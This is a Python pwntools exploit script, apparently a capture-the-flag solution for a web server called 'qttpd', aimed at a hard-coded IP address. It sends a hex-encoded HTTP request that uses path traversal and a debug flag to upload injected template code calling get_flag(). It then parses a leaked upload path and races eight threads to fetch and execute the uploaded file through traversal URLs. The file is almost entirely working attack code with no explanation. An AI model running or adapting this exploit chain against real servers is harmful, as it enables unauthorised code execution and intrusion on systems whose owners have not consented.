qttpd_part_1.py

#!/usr/bin/env python
from pwn import *
import time
import threading

WebRequest = "504f5354202f3f706167653d2e2e2f696e6465782f265343524950545f4558543d2e2e2f2e2e2f2e2e2f2e2e2f7777772f696e6465782e7368746d6c2644454255473d6f6e20485454502f312e310d0a486f73743a203130372e3138392e39342e3235330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a2035310d0a4f726967696e3a206368726f6d652d657874656e73696f6e3a2f2f6169636d6b677067616b6464676e6170686868706c696966706366686963666f0d0a4163636570742d4c616e67756167653a20656e2d47422c656e2d55533b713d302e382c656e3b713d302e360d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e5420362e333b20574f57363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f34322e302e323331312e3930205361666172692f3533372e33360d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c2a2f2a3b713d302e380d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174652c20736463680d0a0d0a3c400d0a7072696e74662822636f64652072616e21212122293b0d0a7072696e7466286765745f666c61672829293b0d0a403e"
#POST /?page=../index/&SCRIPT_EXT=../../../../www/index.shtml&DEBUG=on HTTP/1.1
#Host: 107.189.94.253
#Connection: keep-alive
#Content-Length: 51
#Origin: chrome-extension://aicmkgpgakddgnaphhhpliifpcfhicfo
#Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
#User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
#Cache-Control: no-cache
#Accept-Encoding: gzip, deflate, sdch
#
#<@
#printf("code ran!!!");
#printf(get_flag());
#@>

def WebWorker(RequestPath):
        """Worker"""
        print 'Worker: %s' % RequestPath
        Data =  wget('http://107.189.94.253/?page=../index/&SCRIPT_EXT=../../../../../../' + RequestPath)
        #wgetdata =  wget('http://107.189.94.253/?page=../../../' + RequestPath)
        if not "File not found" in Data:
            print Data
        else:
            print "Failed"
        return

Server = remote('107.189.94.253', 80)
WebRequest = WebRequest.replace(' ', "").decode("hex")
Server.send(WebRequest)
Data = Server.recvall()
Server.close()

FirstPath = ""

for Line in Data.split('\n'):
        if 'uploads' in Line :
                FirstPath = Line

FirstPath = FirstPath[17:][:-4] # Remove the <!-- DEBUG_PATH = and --!>
print("First time: " + FirstPath)

SplitPath = FirstPath.split('//') #Split the string
BeginPath = SplitPath[0] #Get the begining /uploads/F562BF6B4919
EndPath = SplitPath[1] #Get the end data2d97014.0

BeginingOfPath = BeginPath[:19] #Get this bit: /uploads/F562BF6B49
Chars = BeginPath[-2:] #Get this bit: 19

Server = remote('107.189.94.253', 80)
Server.send(WebRequest) #Go go go

Threads = []
for i in range(8):
    _Chars = int("0x" + Chars, 16) + i #Turn the hex to a decimal and add i
    RequestPath = BeginingOfPath + '{0:X}'.format(int(_Chars)) + "//" + EndPath #Reconstruct the request path
    T = threading.Thread(target=WebWorker, args=(RequestPath,))
    Threads.append(T)
    T.start()